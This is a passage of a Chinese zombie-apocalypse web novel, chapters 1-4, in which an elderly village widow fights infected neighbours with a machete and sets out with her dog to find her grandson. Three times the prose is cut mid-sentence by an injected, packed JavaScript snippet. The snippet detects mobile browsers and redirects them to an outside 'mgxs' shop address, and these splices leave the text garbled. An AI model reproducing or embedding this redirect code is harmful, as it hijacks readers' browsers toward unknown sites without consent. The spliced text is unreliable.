《邪恶老奶清除计划》
1. 第 1 章
七月的风,本该卷着豫南平原特有的泥土腥气,裹着院角丝瓜花的甜香,扑在王桂香脸上,暖烘烘的,带着庄稼拔节的朝气。
可2026年的这阵怪风,吹在脸上却凉得像敷了块刚从井里捞出来的破布,刮过空荡荡的王家坳,连院角那棵老槐树的叶子都耷拉着,没了半分生气。
王桂香蹲在自家院子中央的青石板上,手里攥着一把带着泥的豆角。豆角是清晨天刚蒙蒙亮时掐的,嫩得能掐出汁水,颗颗饱满圆润。老王家的院子不过半亩地,却被她收拾得井井有条:东头用竹篱笆围出的鸡圈里,五只老母鸡缩在角落,羽毛被风吹得凌乱,平日里总咯咯哒叫着报喜,此刻却连一声动静都没发出来,像尊尊沉默的泥塑;西头搭着棚子,是大黄的窝,十年的老狗蜷在里面,吐着舌头,尾巴有一下没一下地扫着地面,耳朵却警惕地竖着,时不时朝院门外望一眼,喉咙里发出低低的呜咽。
院墙上爬满了翠绿的丝瓜藤,顺着竹竿缠了足足两层楼高,青嫩的丝瓜垂在藤间,风一吹,轻轻晃荡。这是王桂香的底气,也是老伴儿走后三年,她守着王家坳的念想。
“老头子,”她忽然开口,声音穿过空荡荡的院子,带着点不易察觉的沙哑,“今儿个这天,怪邪性的。”
没人应。
老伴儿走的那年,也是七月,天朗气清,他攥着王桂香的手,枯瘦的手指用力得泛白,喘着气说:“桂香,你可得把家守好,等小宝回来。等小宝考上大学,咱就去省城住几天。”
王桂香记着呢。她把家守得好好的。儿子儿媳在城里打工,一年回不来一趟,小孙子王小宝在省城读高三,全靠她在村里守着这一亩三分地。王家坳是老祖宗传下来的地方,土坯墙的老宅子,院角的老槐树,还有那口压了几十年的压水井,都是她的根。
可这怪风刮了快一个时辰了,天上的云黑得像被墨汁泼过,浓得化不开,却迟迟不见一滴雨。远处的树林里,平日里天不亮就叫个不停的知了,此刻没了声响;村西头的池塘边,蛙鸣也销声匿迹,整个村子静得诡异,静得王桂香心里发毛,像揣了块烧红的烙铁。
“怪了,真怪了。”她嘟囔着,把择好的豆角放进竹篮,起身拍了拍身上的土。她今年七十整,背有点驼,那是一辈子土里刨食累的;脸上的皱纹像刀刻的一样,深深浅浅,却透着股庄稼人特有的硬朗。
她扶着门框,想把院门关紧些。王家坳的人虽好,可这年头,防人之心不可无。再说,这天气看着就不对劲,关紧门能安心点。
就在她的手碰到冰凉的木门框时,天,突然漏了。
没有任何预兆,一道冰冷刺骨的雨柱,猛地砸了下来。不是夏日里常见的瓢泼大雨,也不是绵绵的细雨,而是密密麻麻的、带着一股铁锈味的冷雨,瞬间浇透了整个院子。雨丝砸在青石板上,发出“噼啪”的声响,溅起细小的水花。
王桂香下意识地往屋檐下躲,可那雨邪门得很,像是长了眼睛,追着她跑。她只觉得浑身一凉,骨头缝里都透着一股子寒气,连头发都被打湿了,贴在额头上,黏腻腻的难受。
“汪汪汪!”
大黄突然狂吠起来,对着院门外的方向,弓着身子,毛发全竖了起来,像个炸毛的绒球,眼神里满是惊恐和警惕。它猛地从窝里窜出来,跑到王桂香脚边,用头蹭着她的裤腿,喉咙里的呜咽声更急了。
王桂香的心瞬间提到了嗓子眼。她活了七十年,见过旱灾,见过涝灾,见过闹土匪的年头,还见过邻村闹蝗灾,庄稼被啃得只剩杆儿,可从没见过这样的天气,也没见过大黄这副模样。
“大黄,咋了?”她蹲下身,伸手摸了摸大黄的头,大黄的身子还在微微发抖。
可大黄只是对着院门外狂吠,尾巴夹在腿间,一副害怕又愤怒的样子。
王桂香壮着胆子,屏住呼吸,一点点凑到门缝边,眯起眼睛,透过那道被岁月磨得发亮的榆木缝隙,向外望去。
雨还在下,冰冷的雨丝砸在脸上,生疼。
可这雨一淋过,整个王家坳,好像真的“死”了。
东头邻居家的鸡圈里,平日里天不亮就打鸣的大公鸡,此刻缩在鸡窝门口,浑身羽毛湿透,连一声啼叫都发不出来,只是不停地发抖;隔壁张大爷家的狗,那条平日里见人就摇尾巴、见了小孩就凑上去蹭的土狗,此刻趴在墙根下,脖子僵硬地扭着,脑袋朝着王桂香家的方向,眼神空洞得吓人,连王桂香看过去,它都没半点反应,像个没了灵魂的躯壳。
最诡异的是,整个村子,突然没了声响。
没有风声,没有雨声,甚至没有风吹过树叶的沙沙声。只有那冰冷的怪雨,还在无声地落着。平日里吵得人睡不着的蛙鸣、虫鸣,全都消失了;村头小卖部里,平日里总传来的麻将声、聊天声,也没了踪影;就连村口那棵大柳树下,平日里总坐着唠嗑的老人们,此刻也没了踪迹。
静,死一般的静。
王桂香的呼吸都变得急促起来,她捂住嘴,不敢发出一点声音,心脏“咚咚咚”地跳着,像是要从嗓子眼里跳出来。她活了一辈子,从没见过这样的寂静,像是整个世界都被按下了静音键,只剩下她和大黄的心跳声。
就在这时,一阵“咚、咚、咚”的撞击声,从院门外传来。
沉闷,有力,一下,又一下,敲在青石板上,也敲在王桂香的心上。
像是有人在用头撞门。
王桂香的血液瞬间冻住了。她的手死死抓着门框,指节因为用力而发白,身子控制不住地发抖。她想不明白,是谁在撞门?二狗子?还是村西头的李婆子?可二狗子平日里游手好闲,却也不敢惹她这个长辈;李婆子虽然爱唠嗑、爱骂街,可也没这么大的力气,用头撞门?
“咚!”
“咚!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509471|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>每一下撞击,都伴随着木门的轻微晃动,院门上的漆皮簌簌往下掉。那扇老榆木门板,是老伴儿年轻时亲手做的,厚实结实,砍过柴、劈过木,几十年了都没坏,可此刻,却在这一下下撞击下,摇摇欲坠。
王桂香的脑子一片空白,她只知道,院门外的人不对劲。二狗子不对劲,李婆子不对劲,整个王家坳都不对劲。
她下意识地想喊一声“二狗子”,喉咙却像被什么堵住了,发不出一点声音,只能发出微弱的、带着哭腔的气音。
就在这时,院墙外,传来了另一个声音。
一个尖利的、骂骂咧咧的声音,平日里在这个时间点,总能准时从隔壁李婆子家传来。李婆子爱骂街,早上骂儿子儿媳不孝顺,中午骂邻居家鸡啄了她的菜,晚上骂孙子不写作业,天天吵得人睡不着。
可此刻,那声音突然断了。
死一般的寂静,再次笼罩了王家坳。
王桂香的眼泪,不受控制地掉了下来,砸在青石板上,瞬间被雨水冲散。老伴儿走的那年,她以为那就是这辈子最大的坎儿了。她咬着牙,一个人种地,一个人喂鸡,一个人守着这个家,硬是没让日子垮掉。她靠着院角的丝瓜藤,靠着那几只老母鸡,靠着大黄,撑过了一年又一年。她以为,只要守着王家坳,守着老宅子,就能等到小宝放假回来,就能看到小宝考上大学,就能和儿子儿媳团聚。
可现在,家,好像要变成活棺材了。
院门外的撞击声还在继续,那扇老榆木门板,已经被撞出了一道细微的裂痕。裂痕越来越大,木屑纷飞,眼看就要被撞破了。
王桂香猛地回过神,转身冲进屋里。她的手在颤抖,却异常坚定地,伸向了墙角那把磨得锃亮的柴刀。
那是老伴儿生前用过的柴刀,刀身是厚重的铁打的,磨得光可鉴人,刀刃锋利得能削断头发。这把柴刀,砍过柴,劈过木,砍过村里疯跑的野猪,还砍过偷鸡的黄鼠狼,是老伴儿留给她最珍贵的东西。
她一把抓起柴刀,握在手里。冰凉的金属触感,让她混乱的脑子,稍微清醒了一点。柴刀的重量压在手上,给了她一丝安全感。
然后,她又冲到桌边,打开了那个旧帆布包。
这个帆布包,是儿子几年前从城里带回来的,深蓝色的,边角已经磨得发白,提手处也破了个小洞,却被王桂香缝补得好好的。包里装着她攒了半个月的鸡蛋钱,用一块旧手帕包着,鼓鼓囊囊的,是她和小宝的生活费;包里还装着一本翻烂了的《圣经》,那是儿子带回来的,说放在家里能保平安。王桂香不识字,也看不懂里面的内容,可她把这本《圣经》当成宝贝,放在帆布包里,就像老伴儿陪在身边一样,是保平安的符;包里还装着一副断了腿、用胶布缠好的老花镜,那是小宝上学用的,小宝说度数不够了,让她扔了,可她舍不得,就收在这里,等小宝回来,还能给他接着用。
2. 第 2 章
包里还有几块干硬的窝头,是她早上蒸的,放在包里,饿了就能吃。
“哐当!”
院门外传来一声巨响,像是有什么东西砸在了门上。
那扇老榆木门板,被二狗子一头撞开了。
门板倒在地上,发出巨大的声响,木屑溅了一地。
王桂香的心,沉到了谷底。她握着柴刀的手,因为用力而微微颤抖,指节泛白。
她紧了紧肩上的帆布包带子,柴刀握在另一只手里,对着门口,厉声喝道:“二狗子!你干啥!俺是你桂香婶子!你别犯浑!有话好好说!”
她的声音带着哭腔,却努力让自己听起来强硬一点。她知道,二狗子平日里虽然不着调,可也怕她这个长辈,平日里见了她也会喊一声“婶子”,不会真的对她怎么样。
门外的二狗子,停了下来。
王桂香透过门框的缝隙,看到了他。
二狗子是个三十出头的汉子,平日里留着寸头,皮肤黝黑,因为常年在工地干活,身上的肌肉结实。可此刻的他,整个人像被抽走了魂一样,站在门口,眼神空洞。
他的眼珠子,是灰白的。
没有眼白,也没有黑瞳,一片浑浊的死灰色,死死地盯着王桂香所在的方向。他的嘴角,挂着一圈黑乎乎的、像是某种粘稠污渍的东西,顺着下巴往下滴,落在地上,留下一道道黑色的痕迹。
更可怕的是,他的身上,沾着不少黑色的污渍,头发上、衣服上,到处都是,散发着一股淡淡的、腥臭味。
他正一下、一下,用自己的额头,撞着王桂香家那扇已经倒在地上的老榆木门板。
“咚!”
“咚!”
每一下,都撞在王桂香的心口上,疼得她几乎喘不过气。
王桂香吓得浑身发抖,牙齿打颤,死死捂住嘴,不敢发出一点声音。她想不明白,二狗子这是怎么了?撞门?他要进来干啥?是饿了?还是疯了?
就在这时,院墙外,又传来了一阵动静。
是脚步声。
很轻,很慢,一步一步,朝着院门的方向走来。
王桂香的心跳得更快了,她握紧了手里的柴刀,朝着门缝的方向望去。
一个身影,慢慢出现在院门外的雨幕里。
是李婆子。
平日里李婆子总是梳着一个发髻,穿着一件花布衫,手里拿着一根拐杖,见了人就唠嗑。可此刻的她,头发散乱,花布衫上沾着不少泥土和黑色的污渍,手里的拐杖掉在了地上。
她的眼珠子,也是灰白的。
和二狗子一样,没有眼白,没有黑瞳,一片死灰色。她的嘴角,也挂着那圈黑乎乎的污渍,正朝着王桂香家的方向,慢慢挪动脚步。
紧接着,院墙外,又传来了更多的脚步声。
东头张大爷家的孙子,西头的王大娘,还有村头小卖部的老板……一个个平日里熟悉的身影,都出现在了院门外的雨幕里。他们的眼珠子都是灰白的,嘴角挂着黑渍,动作僵硬,朝着王桂香家的方向,一步一步挪过来。
他们的眼神里,没有一丝生气,只有一种诡异的、渴望的光芒,像是饿了很久的野兽,看到了猎物。
王桂香的腿软了,她靠在墙上,手里的柴刀“哐当”一声掉在了地上。她看着门外一个个熟悉的身影,他们像是从地狱里爬出来的一样,眼神空洞,动作僵硬,朝着她走来。
她活了七十年,从没见过这样的场面。
“咚!”
二狗子又撞了一下地上的门板,然后缓缓抬起头,那片死灰色的眼珠,死死地盯着王桂香。
然后,他咧开嘴,露出一个诡异的、嘴角挂着黑渍的笑容。
他的牙齿泛黄,牙缝里也塞着黑色的污渍,笑容狰狞而可怕。
下一秒,他猛地朝王桂香扑了过来!
“汪!”
大黄狂吠一声,猛地扑上去,对着二狗子的腿,狠狠咬了一口。
二狗子吃痛,闷哼一声,后退了一步。
可他的眼神里没有丝毫痛苦,依旧是那片死灰色,他转过头,朝着大黄扑了过去。
大黄吓得往后退了几步,躲到王桂香身后,对着二狗子狂吠,却不敢再扑上去。
王桂香回过神,猛地捡起地上的柴刀,握在手里,对着二狗子,再次喝道:“二狗子!你别过来!再过来俺可砍你了!”
她的声音颤抖,却带着一股决绝的勇气。她知道,二狗子不对劲,这些人都不对劲。他们不是平日里的邻居了,他们是“邪祟”,是吃人的邪祟。
可二狗子像是没听到一样,依旧朝着她扑过来。他的动作僵硬,速度却不慢,像是一股不受控制的力量,驱使着他往前冲。
王桂香咬着牙,举起柴刀,朝着二狗子的胳膊砍去。
她的手在抖,可这一刀,还是砍了下去。
“嗤啦——”
柴刀锋利的刀刃,砍进了二狗子的胳膊。黑色的血液,从伤口里涌了出来,溅在地上,散发着一股腥臭味。
二狗子闷哼一声,动作顿了一下,然后依旧朝着王桂香扑过来。他的伤口在流血,可他像是感觉不到疼痛一样。
王桂香吓坏了,她没想到这一刀竟然没拦住他。她赶紧后退一步,再次举起柴刀,朝着二狗子的另一只胳膊砍去。
这一刀,砍得更深。
二狗子的胳膊被砍断了一截,掉在了地上。黑色的血液涌得更多,地上很快积了一滩。
可他依旧没有停下,依旧朝着王桂香扑过来。他的身体在摇晃,像是随时都会倒下,可那股诡异的力量,依旧驱使着他往前。
王桂香的脑子一片空白,她只知道,不能让他进来,不能让这些邪祟进来。
她咬着牙,举起柴刀,朝着二狗子的脑袋砍去。
这一刀,砍中了。
二狗子的脑袋滚落在地,眼睛依旧是那片死灰色,嘴角还挂着那圈黑渍,朝着王桂香的方向,咧了咧嘴。
身体倒在地上,抽搐了几下,就不动了。
王桂香瘫坐在地上,手里的柴刀掉在了一边。她看着地上二狗子的尸体和脑袋,黑色的血液蔓延开来,腥臭味扑鼻而来,她胃里一阵翻江倒海,“哇”的一声,吐了出来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509472|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
大黄蹲在她身边,用头蹭着她的胳膊,发出低低的呜咽声。
王桂香吐了好久,直到把胃里的东西都吐空了,才瘫坐在地上,大口大口地喘着气。她看着门外那些依旧朝着这边挪动的身影,他们的眼珠子灰白,嘴角挂着黑渍,动作僵硬,像是没有尽头一样。
她的手机响了,放在桌子上的手机,屏幕亮着。
是儿子王建军打来的视频电话。
王桂香挣扎着,爬起来,跑到桌边,拿起手机。
屏幕里,出现了儿子王建军和儿媳李秀莲的脸。
“妈,你那边天气咋样啊?
吐空了肠胃的王桂香,浑身软得像抽走了骨头,瘫坐在青石板上,冰冷的雨水混着泪水糊满了整张脸,手里的手机还在嗡嗡震动,屏幕上儿子王建军焦急的脸晃来晃去,背景里是嘈杂的人声、尖锐的警报声,还有隐约的尖叫,乱得像一锅煮沸的粥。
“妈!妈你说话啊!家里咋样了?小宝有没有给你打电话?俺们这边城里乱套了,好多人疯了一样咬人,电话打不通,信号时好时坏,你千万待在家里别出门,锁好门,不管谁敲门都别开!”
王建军的声音带着哭腔,语速快得不像话,隔着屏幕都能感受到他的恐慌。儿媳李秀莲在一旁哭哭啼啼,紧紧抓着王建军的胳膊,眼神里满是绝望,嘴里不停念叨着“咋办啊建军,咱妈咋办,小宝咋办”。
王桂香张了张嘴,喉咙干涩得发疼,像是有砂纸在摩擦,半天发不出一个完整的音节,只能发出“嗬嗬”的气音。她想告诉儿子,家里也乱了,王家坳没了,二狗子变成邪祟了,李婆子、张大爷全都不对劲了,家成了活棺材,她待不下去了;她想问问儿子城里到底发生了啥,他们有没有事,能不能躲起来;她更想问问小宝的消息,省城安不安全,孙子有没有出事。
可话到嘴边,全变成了哽咽,眼泪掉得更凶了。她活了七十年,从没这么无助过,老伴儿走的时候,她还有家可守,还有念想可盼,可现在,家没了,亲人联系不上,身边只有一条老黄狗,门外是吃人的邪祟,整个世界都像是塌了。
“妈,你听见没啊!说话啊!”王建军在屏幕那头急得直跺脚,伸手拍了拍手机,像是想把信号拍得更稳一些,“俺们这边躲在工厂的仓库里,暂时安全,就是出不去,外面全是那些疯了的人,见人就咬,咬了之后没多久也跟着疯,太吓人了!你千万别出门,家里有吃的就省着点吃,等局势稳了,俺们立马回去找你!”
“建军……”王桂香终于挤出一句话,声音沙哑得不像自己的,“家里……家里也出事了,村里的人都不对劲了,二狗子……二狗子让俺砍了,他变成吃人的邪祟了,俺待不下去了,俺要去找小宝,俺得去找俺的孙子,老王家的根不能断啊……”
“啥?!妈你说啥?!村里也出事了?”王建军的脸瞬间惨白,眼睛瞪得溜圆,满是不可置信,“你别冲动啊妈,你七十岁了,外面那么危险,你咋出去啊?国道上全是车,到处都是疯子,你一个老太太咋走啊?待在家里,家里最安全,俺们想办法,俺们一定想办法联系小宝,一定回去接你!”
3. 第 3 章
“不行,俺等不了。”王桂香摇着头,抹了一把脸上的泪水和雨水,眼神突然变得坚定,浑浊的眼睛里透着一股庄稼人特有的执拗,“电话打不通,俺不放心小宝,那是俺的孙子,俺得去找他。家里守不住了,门都被撞破了,那些邪祟马上就进来了,俺不走,就是死路一条,俺死了,谁去找小宝?谁给俺们老王家留根?”
她看着屏幕里儿子焦急又无奈的脸,心里像被刀割一样疼,可她知道,自己不能回头。从看到二狗子那双灰白眼睛的那一刻,她就明白,这个家,这个王家坳,再也回不去了。儿子儿媳在城里被困住,自身难保,指望不上,她只能靠自己,一步一步走到省城,找到小宝,不管路上有多难,她都得走。
“妈,你别犟啊!”王建军急得眼泪都掉下来了,“外面太危险了,你连啥情况都不知道,咋走啊?带着大黄也不行啊,那些疯子不怕疼,不怕死,你打不过的!你听俺的,赶紧把屋子锁好,躲进里屋,用柜子把门堵上,俺们马上想办法,马上……”
话还没说完,屏幕突然一黑,信号彻底断了,手机只剩下一片漆黑,再也没有任何动静。王桂香握着手机,手指用力到泛白,反复按了好几次开机键,又试着拨回去,可屏幕上始终显示“无信号”,不管怎么拨,都是忙音,彻底联系不上了。
最后的念想,也断了。
王桂香呆呆地站在原地,看着黑屏的手机,眼泪再次涌了上来。她把手机小心翼翼地放进帆布包的内层,用手帕包好,那是和儿子儿媳最后的联系,哪怕没信号,她也不能丢。
院门外,那些变成邪祟的村民还在一步步挪动,离院门越来越近,李婆子那张扭曲的脸已经凑到了门框边,灰白的眼睛死死盯着院子里,嘴角的黑渍往下滴,发出“嗬嗬”的怪声,听得人头皮发麻。
不能再留了,再留就走不了了。
王桂香深吸一口气,强迫自己冷静下来,弯腰捡起地上的柴刀,重新握在手里。柴刀上还沾着二狗子的黑血,黏腻腻的,她在地上蹭了蹭,擦掉大部分血迹,虽然依旧腥臭,但好歹不那么滑手。她又走到鸡圈边,看着那几只缩在角落瑟瑟发抖的老母鸡,心里一阵发酸,这些鸡是她一手喂大的,每天下的蛋,她都攒着,等着给小宝补身体,可现在,她带不走它们,也顾不上它们了。
她咬了咬牙,不再看鸡圈,转身走到压水井边,打了一桶冰凉的井水,咕咚咕咚喝了两大口,又用手捧起水,洗了把脸,冰冷的井水让她混沌的脑子清醒了不少。她把帆布包重新整理了一下,将窝头、鸡蛋钱、《圣经》、老花镜、手机都放好,拉紧包带,紧紧背在肩上,包带勒得肩膀生疼,可她却觉得踏实,这里面装的,是她全部的家当,也是她找孙子的全部底气。
“大黄,走了。”王桂香低头,看着蹲在脚边的老黄狗,声音沙哑却坚定,“跟俺走,去找小宝,不管多难,咱都得走到省城。”
大黄像是听懂了,呜咽了一声,用头蹭了蹭她的裤腿,尾巴轻轻晃了晃,眼神里满是忠诚,紧紧跟在她的脚边,寸步不离。这条狗跟了她十年,从一只小奶狗长成了老黄狗,平日里看家护院,陪着她解闷,老伴儿走后,大黄就是她最亲的伴,现在末世了,大黄更是她唯一的依靠。
王桂香最后看了一眼这个生活了一辈子的院子,看了看土坯墙的老宅子,看了看院角的丝瓜藤,看了看地上二狗子的尸体,心里五味杂陈。这里是她的家,是她守了一辈子的地方,可现在,她不得不离开,不知道还能不能回来,不知道回来的时候,这里会不会还是原来的样子。
她不再犹豫,转身朝着屋后的小路走去。屋后的小路连着村外的国道,平日里村里人去镇上、去城里,都走这条道,路不算宽,却平整,是村里人用脚踩出来的。此刻,小路上静悄悄的,没有一个人影,两旁的庄稼地被怪雨浇得东倒西歪,玉米杆、黄豆秧耷拉着叶子,毫无生气,连田埂上的野草都像是失去了活力,蔫蔫的。
王桂香握着柴刀,走得很慢,她年纪大了,腿脚不如年轻人利索,走一会儿就喘得厉害,可她不敢停,身后的王家坳越来越远,可那些邪祟的怪声却还能隐约听见,她知道,一旦停下,就可能被追上。大黄走在她身前半步,时不时回头看看她,遇到坑坑洼洼的地方,还会停下来等她,像是在给她引路。
走了大概半个多小时,终于走出了村口,来到了国道上。
眼前的国道,彻底变了样子。
平日里,这条国道上车水马龙,大货车、小轿车、三轮车来来往往,鸣笛声、说话声不断,热闹得很,路边还有小卖部、修车铺、小饭馆,跑运输的司机、赶路的行人,络绎不绝。可现在,国道上一片狼藉,到处都是废弃的车辆,小轿车撞在大货车上,车头变形,玻璃碎了一地,大货车横在路中间,挡住了大半条路,还有的车翻进了路边的沟里,车身扭曲,面目全非。
路面上散落着各种杂物,行李箱、衣服、鞋子、食品包装袋,还有零星的血迹,黑红黑红的,早已干涸,散发着淡淡的腥臭味,和王家坳里邪祟身上的味道一模一样。没有车在行驶,没有行人走动,整个国道静悄悄的,只有风吹过废弃车辆发出的呜呜声,还有远处偶尔传来的、模糊的怪叫声,阴森得吓人。
王桂香站在国道边,看着眼前的景象,心里一阵发寒。她没想到,外面比村里还要乱,还要可怕,这哪里是国道,分明是一条荒途,一条看不到尽头的死路。
她顺着国道往省城的方向走,脚步沉重,肩膀上的帆布包越来越重,柴刀握得久了,手心全是汗,黏腻腻的,胳膊也酸得厉害。她不敢走大路中间,只敢靠着路边的沟沿走,眼睛时刻盯着四周,耳朵竖起来,听着任何一点动静,大黄走在她身边,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509473|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鼻子不停嗅着,毛发时不时竖起来,警惕地看着四周,一旦有风吹草动,就会发出低低的呜咽声,提醒她危险。
走了约莫一个小时,太阳慢慢升了起来,怪雨早就停了,阳光透过云层洒下来,照在废弃的车辆上,却没有一丝暖意,反而显得格外荒凉。王桂香又累又饿,口干舌燥,她找了一辆翻倒在路边的小轿车,车门敞开着,里面空无一人,看起来还算安全,便扶着车身,慢慢坐下来,靠在车门边休息。
她从帆布包里掏出一块窝头,窝头是早上蒸的,经过这么久,已经变得干硬,咬一口,噎得嗓子疼。她掰了一半,递给大黄,大黄摇着尾巴,小口小口地吃着,吃得很珍惜。王桂香自己拿着另一半,慢慢嚼着,就着路边沟里的凉水,一点点咽下去。这窝头是她仅有的粮食,她得省着吃,不知道要走多久才能到省城,不知道路上还能不能找到吃的,每一口都得精打细算。
就在她休息的时候,大黄突然停止了进食,猛地抬起头,对着不远处的一辆大货车,发出低沉的狂吠,毛发根根竖起,眼神凶狠,一副如临大敌的样子。
王桂香心里一紧,立马停下手里的动作,握紧柴刀,顺着大黄吠叫的方向看去。
那辆大货车横在路中间,车厢紧闭,车头撞在护栏上,变形严重,看不到里面的情况。可此刻,大货车的车厢门,正缓缓被推开,发出“吱呀”的刺耳声响,在寂静的国道上,显得格外清晰。
紧接着,一个身影从车厢里跌跌撞撞地走了出来。
是一个男人,穿着蓝色的货车司机服,衣服破烂不堪,身上沾着血迹和黑渍,头发乱糟糟的,脸上满是污垢,最可怕的是,他的眼睛也是灰白的,嘴角挂着和二狗子一样的黑渍,动作僵硬,脖子歪着,一步步朝着王桂香所在的方向挪过来,嘴里发出“嗬嗬”的怪声。
是邪祟。
王桂香的心瞬间提到了嗓子眼,立马站起身,往后退了几步,紧紧握着柴刀,手心全是冷汗。她没想到,刚休息一会儿,就遇到了邪祟,这国道上,到处都是危险,根本没有安全的地方。
货车司机模样的邪祟,速度比村里的二狗子、李婆子要快一些,挪动的脚步越来越快,离王桂香越来越近,腥臭的气味随风飘过来,呛得王桂香直皱眉。
大黄挡在王桂香身前,对着邪祟狂吠不止,声音洪亮,试图吓退对方,可那邪祟根本不怕,依旧一步步逼近,灰白的眼睛死死盯着王桂香,像是看到了猎物,充满了攻击性。
王桂香知道,躲不过去了,只能拼了。
她深吸一口气,握紧柴刀,双腿微微弯曲,摆出防御的姿势。她年纪大了,力气不如年轻人,之前砍杀二狗子,是趁着对方不备,拼尽了全力,现在面对这个看起来更灵活的邪祟,她心里没底,可她不能退,她退了,就再也找不到小宝了,大黄也会有危险。
4. 第 4 章
邪祟越来越近,已经走到了离她只有两三米的地方,猛地加快速度,朝着她扑了过来,张开嘴,露出泛黄的牙齿,朝着她的胳膊咬去,腥臭的口气扑面而来,让人作呕。
“大黄,躲开!”王桂香大喊一声,猛地侧身躲开,同时举起手里的柴刀,用尽全身力气,朝着邪祟的脑袋砍去。
她的动作不算快,却很稳,这是一辈子砍柴练出来的准头,柴刀带着风声,狠狠砍在邪祟的脖颈处。
“噗嗤”一声,黑血瞬间喷溅出来,溅了王桂香一身,冰冷黏腻,腥臭无比。邪祟的动作顿了一下,脑袋歪到一边,却没有立刻倒下,依旧挣扎着,想要扑上来咬人。
王桂香吓得往后退了一步,心脏狂跳,她没想到,这个邪祟比二狗子还要难对付,砍中脖颈都不死。她咬着牙,再次举起柴刀,趁着邪祟挣扎的间隙,狠狠砍在它的脑袋上。
这一次,柴刀深深嵌进了邪祟的头骨里,邪祟的身体猛地抽搐了几下,然后直直地倒在地上,不再动弹,灰白的眼睛依旧圆睁着,死不瞑目。
王桂香喘着粗气,瘫坐在地上,手里的柴刀还嵌在邪祟脑袋里,她费了好大的力气,才把柴刀拔出来,刀身上全是黑血,腥臭刺鼻。她看着地上的邪祟尸体,胃里又是一阵翻江倒海,可她已经没东西可吐了,只能干呕几声,浑身发软。
大黄跑过来,蹭了蹭她的手,舔了舔她脸上的黑血,像是在安慰她。王桂香摸了摸大黄的头,眼泪掉了下来,不是害怕,是委屈,是无助,她一个七十岁的老太太,一辈子本本分分,从没跟人红过脸,从没害过人,现在却要天天砍杀这些邪祟,手上沾满了“血”,这日子,啥时候是个头啊。
她不敢多休息,生怕再引来其他邪祟,用路边的野草擦了擦柴刀上的血迹,虽然擦不干净,但至少不那么滑手。她重新背起帆布包,握紧柴刀,继续沿着国道往省城的方向走,脚步比之前更坚定了。
她知道,路上还会遇到更多的邪祟,还会有更多的危险,可她不能怕,不能停,她的小宝还在省城等着她,老王家的根,不能断。
一路往前走,国道上的废弃车辆越来越多,景象也越来越惨烈。有的车里,还躺着尸体,有的是被咬伤的,有的是被撞死的,尸体已经开始腐烂,散发着恶臭,引来苍蝇嗡嗡乱飞;有的车旁边,还站着几只邪祟,漫无目的地挪动着,发出怪声,王桂香都小心翼翼地绕开,尽量不发出声音,避免和它们正面冲突。
她走得很慢,走一会儿,歇一会儿,饿了就吃一小口窝头,渴了就喝路边沟里的凉水,大黄跟在她身边,不离不弃,时不时帮她探查路况,提醒她危险。
走到下午的时候,太阳渐渐西斜,天色暗了下来,国道上的光线越来越差,风也变得凉了,吹在身上,冷得人打哆嗦。王桂香知道,天黑之后,会更危险,邪祟在夜里更活跃,她得找个地方过夜,找一个安全的、能遮风挡雨的地方。
她四处张望,看到前方不远处,路边有一个废弃的修车铺,铺子不大,是铁皮搭建的,门是虚掩着的,看起来还算隐蔽,周围没有邪祟走动的迹象。她心里一喜,慢慢朝着修车铺挪过去,大黄走在前面,先探路,鼻子不停嗅着,确认里面没有危险后,才回头对着王桂香摇了摇尾巴。
王桂香轻轻推开修车铺的门,门轴发出“吱呀”的声响,在寂静的环境里格外刺耳,她吓得赶紧停住,屏住呼吸,听了听四周的动静,没有邪祟被吸引过来,才松了口气,慢慢走进去。
修车铺里堆满了杂物,废旧轮胎、修车工具、破铜烂铁,到处都是,落满了灰尘,角落里有一张破旧的木板床,床上没有被褥,只有一层厚厚的灰尘,还有一个掉了腿的桌子,看起来还算干净。
她把铺子的门从里面关好,用一个废旧轮胎顶住,防止被邪祟推开,然后又检查了四周的窗户,窗户都破了,她用破布和木板堵上,尽量堵得严实一些,挡住外面的视线,也挡住冷风。
做完这一切,她才彻底放松下来,瘫坐在木板床上,累得一动也不想动。肩膀被帆布包勒得通红,火辣辣的疼,手心因为握柴刀太久,磨出了水泡,一碰就疼,双腿又酸又麻,像是灌了铅一样。
她从帆布包里掏出剩下的窝头,只剩下小半块了,她掰了一点点,自己吃了,剩下的全都给了大黄,大黄一天没怎么吃东西,早就饿了,小口小口地吃得干干净净。
夜色越来越浓,修车铺里一片漆黑,王桂香不敢开灯,也不敢点火,只能摸黑坐着,靠在墙角,手里紧紧握着柴刀,一刻也不敢放松。外面时不时传来邪祟的怪叫声,还有车辆被风吹动的声响,阴森恐怖,她睁着眼睛,不敢睡觉,生怕睡着后,邪祟闯进来。
